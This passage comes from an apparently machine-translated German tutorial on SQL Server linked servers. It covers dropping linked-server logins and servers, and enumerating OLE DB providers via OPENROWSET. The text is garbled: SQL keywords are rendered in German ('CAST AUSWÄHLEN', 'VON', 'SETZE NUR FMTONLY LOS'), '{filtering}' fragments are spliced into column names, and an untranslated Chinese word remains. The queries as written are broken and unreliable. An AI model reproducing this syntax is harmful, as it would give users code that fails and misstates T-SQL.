Siehe das .3.1-Abfragebeispiel, ersetze einfach den Inhalt in der Rowset-Funktion (OPENDATASOURCE). -- Lösche die verknüpfte Server-Methode --Wenn du die Linkinformationen in Zukunft nicht mehr verwendest, kannst du die Linkinformationen löschen --4.1 Login-Informationen löschen (oder die Login-Name-Karte des verknüpften Servers löschen) EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/* Zum Beispiel: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Lösche den verknüpften Servernamen EXEC sp_dropserver 'LinkName', 'droplogins' – wenn droplogins angegeben sind, Die Anmeldekarte muss gelöscht werden, bevor der verklinkte Server gelöscht wird
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Angehängt
: Wie man den Anbieternamen erhält (EXEC-Master). xp_enum_oledb_providers) CAST AUSWÄHLEN([Anbietername] AS
VARCHAR(30)) ProviderName, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion VON
OPENROWSET( 'SQLOLEDB', 'Server=.; Trusted_Connection=ja', 'SETZE NUR FMTONLY LOS; EXEC
Meister.. xp_enum_oledb_providers'
)
|